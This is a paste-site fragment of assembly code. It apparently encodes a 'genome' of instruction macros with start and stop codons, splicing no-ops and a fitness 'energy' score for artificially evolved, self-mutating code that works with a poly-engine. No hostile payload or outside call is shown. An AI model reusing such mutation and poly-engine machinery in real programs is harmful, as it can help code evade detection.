  1157.          ; SPLICING! must be NOP!!!
  1158.          @nopREAL 149
  1159.  
  1160.          @save 150
  1161.  
  1162.          ; SPLICING! must be NOP!!!
  1163.          @nopREAL 151
  1164.  
  1165.  
  1166. _START EQU 152
  1167. ACommand152:
  1168.              ; THIS IS THE START CODON!!!
  1169.              ; THE bit-sequence is different to other no-operations,
  1170.              ; such that it wont be targeted from the poly-engine
  1171.          xchg ebx, ebx
  1172. ECommand152:
  1173. times (8-ECommand152+ACommand152): nop
  1174.  
  1175.  
  1176.          ; SPLICING! must be NOP!!!
  1177.          @nopREAL 153
  1178.  
  1179.          @nopsB 154
  1180.  
  1181.          ; SPLICING! must be NOP!!!
  1182.          @nopREAL 155
  1183.  
  1184.          @save 156
  1185.  
  1186.          ; SPLICING! must be NOP!!!
  1187.          @nopREAL 157
  1188.  
  1189.          @save 158
  1190.  
  1191.          ; SPLICING! must be NOP!!!
  1192.          @nopREAL 159
  1193.  
  1194.          @getDO 160
  1195.  
  1196.          @getDO 161
  1197.  
  1198.          @getDO 162
  1199.  
  1200.          @getDO 163
  1201.  
  1202.          @shl 164
  1203.  
  1204.          @shl 165
  1205.  
  1206.          @shl 166
  1207.  
  1208.          @shl 167
  1209.  
  1210.          @xor 168
  1211.  
  1212.          @nopREAL 169
  1213.  
  1214.          @nopsD 170
  1215.  
  1216.          @nopsA 171
  1217.  
  1218.          @shl 172
  1219.  
  1220.          @add0001 173
  1221.  
  1222.          @nopsD 174
  1223.  
  1224.          @nopdB 175
  1225.  
  1226.  
  1227. _STOP EQU 176
  1228. ACommand176:
  1229.              ; THIS IS THE STOP CODON!!!
  1230.              ; THE bit-sequence is different to other no-operations,
  1231.              ; such that it wont be targeted from the poly-engine
  1232.          xchg ecx, ecx
  1233. ECommand176:
  1234. times (8-ECommand176+ACommand176): nop
  1235.  
  1236.  
  1237.          ; SPLICING! must be NOP!!!
  1238.          @nopREAL 177
  1239.  
  1240.          @div 178
  1241.  
  1242.          ; SPLICING! must be NOP!!!
  1243.          @nopREAL 179
  1244.  
  1245.          @save 180
  1246.  
  1247.          ; SPLICING! must be NOP!!!
  1248.          @nopREAL 181
  1249.  
  1250.          @save 182
  1251.  
  1252.          ; SPLICING! must be NOP!!!
  1253.          @nopREAL 183
  1254.  
  1255.          @xor 184
  1256.  
  1257.          ; SPLICING! must be NOP!!!
  1258.          @nopREAL 185
  1259.  
  1260.          @nopsD 186
  1261.  
  1262.          ; SPLICING! must be NOP!!!
  1263.          @nopREAL 187
  1264.  
  1265.          @save 188
  1266.  
  1267.          ; SPLICING! must be NOP!!!
  1268.          @nopREAL 189
  1269.  
  1270.          @save 190
  1271.  
  1272.          ; SPLICING! must be NOP!!!
  1273.          @nopREAL 191
  1274.  
  1275.          @getDO 192
  1276.  
  1277.          @add0001 193
  1278.  
  1279.          @getDO 194
  1280.  
  1281.          @getDO 195
  1282.  
  1283.          @addsaved 196
  1284.  
  1285.          @shl 197
  1286.  
  1287.          @addsaved 198
  1288.  
  1289.          @shl 199
  1290.  
  1291.          @shr 200
  1292.  
  1293.          @nopREAL 201
  1294.  
  1295.          @nopsB 202
  1296.  
  1297.          @nopsA 203
  1298.  
  1299.          @addsaved 204
  1300.  
  1301.          @add0001 205
  1302.  
  1303.          @nopdB 206
  1304.  
  1305.          @nopdB 207
  1306.  
  1307.          @sub0001 208
  1308.  
  1309.          ; SPLICING! must be NOP!!!
  1310.          @nopREAL 209
  1311.  
  1312.          @nopsB 210
  1313.  
  1314.          ; SPLICING! must be NOP!!!
  1315.          @nopREAL 211
  1316.  
  1317.          @save 212
  1318.  
  1319.          ; SPLICING! must be NOP!!!
  1320.          @nopREAL 213
  1321.  
  1322.          @save 214
  1323.  
  1324.          ; SPLICING! must be NOP!!!
  1325.          @nopREAL 215
  1326.  
  1327.          @sub0001 216
  1328.  
  1329.          ; SPLICING! must be NOP!!!
  1330.          @nopREAL 217
  1331.  
  1332.          @nopsB 218
  1333.  
  1334.          ; SPLICING! must be NOP!!!
  1335.          @nopREAL 219
  1336.  
  1337.          @save 220
  1338.  
  1339.          ; SPLICING! must be NOP!!!
  1340.          @nopREAL 221
  1341.  
  1342.          @save 222
  1343.  
  1344.          ; SPLICING! must be NOP!!!
  1345.          @nopREAL 223
  1346.  
  1347.          @getDO 224
  1348.  
  1349.          @getDO 225
  1350.  
  1351.          @getDO 226
  1352.  
  1353.          @getDO 227
  1354.  
  1355.          @shl 228
  1356.  
  1357.          @shl 229
  1358.  
  1359.          @shl 230
  1360.  
  1361.          @shl 231
  1362.  
  1363.          @xor 232
  1364.  
  1365.          @nopREAL 233
  1366.  
  1367.          @nopsD 234
  1368.  
  1369.          @nopsA 235
  1370.  
  1371.          @shl 236
  1372.  
  1373.          @add0001 237
  1374.  
  1375.          @nopsD 238
  1376.  
  1377.          @nopdB 239
  1378.  
  1379.          @xor 240
  1380.  
  1381.          ; SPLICING! must be NOP!!!
  1382.          @nopREAL 241
  1383.  
  1384.          @div 242
  1385.  
  1386.          ; SPLICING! must be NOP!!!
  1387.          @nopREAL 243
  1388.  
  1389.          @save 244
  1390.  
  1391.          ; SPLICING! must be NOP!!!
  1392.          @nopREAL 245
  1393.  
  1394.          @save 246
  1395.  
  1396.          ; SPLICING! must be NOP!!!
  1397.          @nopREAL 247
  1398.  
  1399.          @xor 248
  1400.  
  1401.          ; SPLICING! must be NOP!!!
  1402.          @nopREAL 249
  1403.  
  1404.          @nopsD 250
  1405.  
  1406.          ; SPLICING! must be NOP!!!
  1407.          @nopREAL 251
  1408.  
  1409.          @save 252
  1410.  
  1411.          ; SPLICING! must be NOP!!!
  1412.          @nopREAL 253
  1413.  
  1414.          @save 254
  1415.  
  1416.          ; SPLICING! must be NOP!!!
  1417.          @nopREAL 255
  1418.  
  1419.  
  1420.  
  1421. ;1380: Energy!: 1055.83
  1422.  
  1423.  
  1424. }
  1425.  
  1426.  
  1427. macro CreateAlphabet
  1428. {
  1429.     CreateBalancedAlphabet
  1430. ;    CreateRandomAlphabet
  1431. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement